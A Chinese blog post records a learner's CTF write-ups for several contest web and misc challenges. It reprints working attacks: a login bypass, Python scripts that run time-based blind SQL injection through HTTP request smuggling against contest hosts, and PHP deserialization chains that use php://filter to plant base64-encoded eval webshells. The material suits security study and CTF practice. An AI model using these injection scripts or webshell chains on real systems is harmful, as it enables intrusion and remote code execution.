ESI web学习记录

Ezbypass

解出

放在php新特性的文章最后了,利用json反序列化脚本绕过disable_functions来get flag

Ezupload

没解出

登陆页面查看源代码发现,备份文件泄露。vim -r恢复

得到源码

<?php
#error_reporting(0);
session_start();
include "config.php";

$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
    $sql = "select password from user where name=?";
    if ($stmt = $mysqli->prepare($sql)) {
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($dpasswd);
        $stmt->fetch();
        if ($dpasswd === $password){
	    $_SESSION['login'] = 1;
            header("Location: /upload.php");
        }else{
            die("login failed");
        }
        $stmt->close();
    }
}else{
    header("Location: /index.php");
}
$mysqli->close();  

当时想了,并且也找了很久如何绕过预编译,看WP发现如何绕过。重点在这里

$dpasswd===$password

判断select结果的$dpasswd与post输入的$password是否相等,在此可以绕过。

可以随便传入不存在的username,不传入password字段,导致select结果为null,并且$password也为null,因此null===null,等式成立绕过。

burp抓包删除$password字段,放包进入upload.php

源代码查看,指定了.jpg,.jpeg,png

直接审查元素删除掉,然后上传php提示上传失败。只能上传jpg。尝试上传.htaccess结合jpg文件包含

文件上传.htaccess就不用多说了老套路。直接尝试getshell

 

现在好多都是通过readflag去获得flag

 

 感谢环境一直没有关,懒了两天,补上这些复现。第一步真的想了很久不知道怎么绕过预编译,看了WP恍然大悟。发散性思维太差了。😔

Ezwaf

赛中没看,赛后尝试作答,没有解出。

然后看了WP,发现http走私。。。我傻了,easy_calc刚用过这个。很可惜,没有好好的解体和发现题目的涵义。Ezwaf

源代码:

<?php
include "config.php";

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

function escape($arr)
{
    global $mysqli;
    $newarr = array();
    foreach($arr as $key=>$val)
    {
        if (!is_array($val))
        {
            $newarr[$key] = mysqli_real_escape_string($mysqli, $val);
        }
    }
    return $newarr;
}

$_GET= escape($_GET);

if (isset($_GET['name']))
{
    $name = $_GET['name'];
    mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
    $age = $_GET['age'];
    mysqli_query($mysqli, "select name from user where age=$age");
}  

从源代码可以发现,存在mysqli_real_escape_string过滤函数

虽然name是字符型有单引号包括,可能被过滤,但是age确实数字型注入,可以实现注入。

从源代码可以发现,并没有回显,所以这道题应该是用时间盲注来解题,传入

age=if(1,sleep(5),0)

发现直接返回403Forbidden

到这里后一脸懵逼???wtf,包含的也是config.php,并不应该是waf啊,看了WP用的是http走私,才发现可能是有一层代理服务器。可以通过http走私协议绕过。

两个content-length绕过走起,测试成功,确实能绕过waf。(暴捶自己一顿,之前还通过easy_calc学习了http走私)

或者Transfer-Encoding: chunked绕过

 

 

 

wp中说payload:age=1+and+sleep(5)无法成功,尝试发现确实不行,改成or后可以了。

那问题来了,如何编写带有http走私的wp,requests请求设置'Content-length':' '即可。

 

测试database

 

 

tables

 

columns

 

 

flag

盲注了半年也没出来/(ㄒoㄒ)/~~,估计长度不止10,加长度为15,爆出完整列明flag_32122

20长度也不够啊,修改起始位置

 

 

 

这里附上两个wp中的脚本,其实一个用socket直接传输http请求,另一个是常规脚本

import socket
import string
url = "111.186.57.43"
port = 10601
flag = ""
for i in range(1,50):
    for j in string.printable:
        s = socket.socket()
        s.connect((url, port))
        s.settimeout(3)
        data = "GET /?age=0 or ascii(substr((select flag_32122 from flag_xdd),".replace(" ","%20")+str(i)+",1))="+str(ord(j))+" and sleep(10) HTTP/1.1\r\nHost:111.186.57.43:10601\r\nConnection:close\r\nContent-Length:0\r\nContent-Length:0\r\n\r\n".replace(" ",'%20')
        print data
        s.send(data)
        try:
            s.recv(1024)
            s.close()
        except:
            flag = flag + chr(j)
            print flag
            s.close()
            break
import requests
import urllib

flag = ''
pos = 1
url = 'http://111.186.57.61:10601/?age='
while True :
    for i in range(0,128):
        try:
           # res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
           # flag_xdd
           # res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(column_name) from information_schema.columns where table_name=0x666c61675f786464) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
           # flag_32122
           res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(flag_32122) from flag_xdd ) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
        except Exception ,e:
            flag +=chr(i)
            print flag
            break
    pos = pos+1
    print "oops"

Ezpop

没解出

题目源码:

<?php
error_reporting(0);

class A{

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null)
    {
        $this->key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save()
    {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }
}

class B{

    protected function getExpireTime($expire): int
    {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool
    {
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

这道题涉及到死亡exit的知识,P牛的文章中有详细介绍

关于php://filter的过滤器

file_put_contents

php://filter/write=convert.base64-decode/resource    以字符base64解密写入       

php://filter/write=string.strip_tags/resource   以去除字符串标签写入

php://filter/write=string.rot13/resource         以字符rot13编码写入   用此法绕过的话,需要php中不支持短标签,php7.x中不支持短标签

php://filter/write=string.strip_tags|convert.base64-decode/resource 去除标签并且base64解密  

本地实验string.strip_tags

 

 

本地实验string.strip_tags|convert.base64-decode

 

 

可以去掉填充的两个==

其他的不再实验。从这道题学到了很多知识

 

从大佬的WP中收集了两个exp

来自https://zhzhdoai.github.io/

<?php
error_reporting(0);

class A{

    protected $store;

    protected $key;

    protected $expire;
    public $complete;
    public $cache;
    public function __construct()
    {
        $this->key    = ".php";
        $this->store  = (new B());
        $this->expire = 6666;
        $this->complete="IDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+";
        $this->cache=["1"];
    }

}

class B
{
    public $options;
    public function __construct()
    {
        $this->options['prefix']='php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1';
        $this->options['serialize']='serialize';
        $this->options['data_compress']=0;
    }
}

echo urlencode(serialize((new a())));

来自https://www.jianshu.com/p/763427ea0e4b

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = '1.php';
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=./uploads/";
$b->options['expire'] = 11;    
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>  

第二个脚本就是取交集使获得base64的字符串,但是需要算字数,因为要满足base64 4个字节为一组的形式,所以需要算$data之前的字节数,保持4个字节为一组将前面的<??>标签中的内容正常解码,否则影响后续写入内容。其实这里不用猜的,可以去fuzz尝试,在本地尝试字符串,先尝试填充字符串看能否base64-decode,如果decode出来完整的一句话木马说明成功。

<?php
$object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+");
$path = '111';
$contents = array($path=>$object);
#var_dump($contents);
$cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
$complete='2';
echo json_encode([$contents, $complete]);
$strings='aaa';
$data   = $strings."<?php\n//" . sprintf('%012d', 11) . "\n exit();?>\n"."PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+";
echo base64_decode($data);
?>  

 

 

 

 

 

第一个脚本不需要计算字数,通过

php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1

用strip_tags去除了XML整个标签内容,并且再base64解码写入。第一个脚本巧妙在直接$this->cache=["1"];,然后结合json_encode和serialize

 

解释下为什么可以,因为base64解码默认的解码范围如下

 

所以: " [ ] , 都不在解码范围.所以直接被忽略

s:51:"[["1"],"IDw\/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+"]";

能解码的部分就为

s511IDw\/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+

前面的s511四个字节为一组,解码为..u

 

因此就会解码为..u <?php eval($_POST[osword]);?>形成了正确的形式。因为用了

string.strip_tags|convert.base64-decode/resource

因此<??>标签中的内容直接被string.strip_tags去除

$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

注意这里,不要认为\n中的n会被算进去base64解码的字符数,因为这里用的双引号,不会对base64解码造成任何影响。

 现在环境还开着,可以尝试去复现。

补充:
序列化注意事项 public: 可以class内部调用,可以实例化调用。 private: 可以class内部调用,实例化调用报错。 protected: 可以class内部调用,实例化调用报错
base64筛选
<?php
$yunying = preg_replace('/[^a-z0-9A-Z+\/]/s', '', $yunying);
echo base64_decode($yunying);

 

twocats

学习下misc,这道题涉及到盲水印

两张图片,不是比较异或,就是盲水印

 

 

 直接用BWM脚本解密

 

然后人眼识别。。不知道怎么提取。

 

有的可能不是脚本加密,那就用工具解密

misc2

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
from flask import request
from flask import Flask

secret = open('/flag', 'rb')

os.remove('/flag')


app = Flask(__name__)
app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'


@app.route('/')
def index():
    return open(__file__).read()


@app.route("/r", methods=['POST'])
def r():
    data = request.form["data"]
    if os.path.exists(data):
        return open(data).read()
    return ''


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)  

赛后复现misc,总感觉这是猜路径,找不到后,看了下WP,发现是用了/dev/fd/3  然后去百度了一下

/dev/fd是Linux的一个特性,其中/dev/fd/0是指标准输入(STDIN),/dev/fd/1是指标准输出(STDOUT)/dev/fd/2是指错误输出(STDERR),每个进程都有自己的/dev/fd/

貌似是/dev/fd/3是指向当前进程有关的东西

http://www.kbase101.com/question/32015.html

在该ls示例中,我可以想象描述符3是用于读取文件系统的描述符。一些open()支持文件描述符生成的C命令(例如)保证返回“编号最小的未使用文件描述符”(POSIX-注意,低级open()实际上不是标准C的一部分)。因此,它们在关闭后会被回收(如果您反复打开和关闭不同的文件,您将一次又一次得到3作为fd)。

misc1

编码切换为EBCDIC

 

 

 

 

 学习资料:

https://zhzhdoai.github.io/2019/11/21/2019-%E9%AB%98%E6%A0%A1%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E8%BF%90%E7%BB%B4%E6%8C%91%E6%88%98%E8%B5%9Bweb%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3

https://www.jianshu.com/p/763427ea0e4b
https://blog.xiafeng2333.top/ctf-15/
http://www.zjun.info/2019/11/21/EIS-2019-CTF%E9%83%A8%E5%88%86WP/

 

posted @ 2019-11-28 13:47  yunying  阅读(617)  评论(0编辑  收藏  举报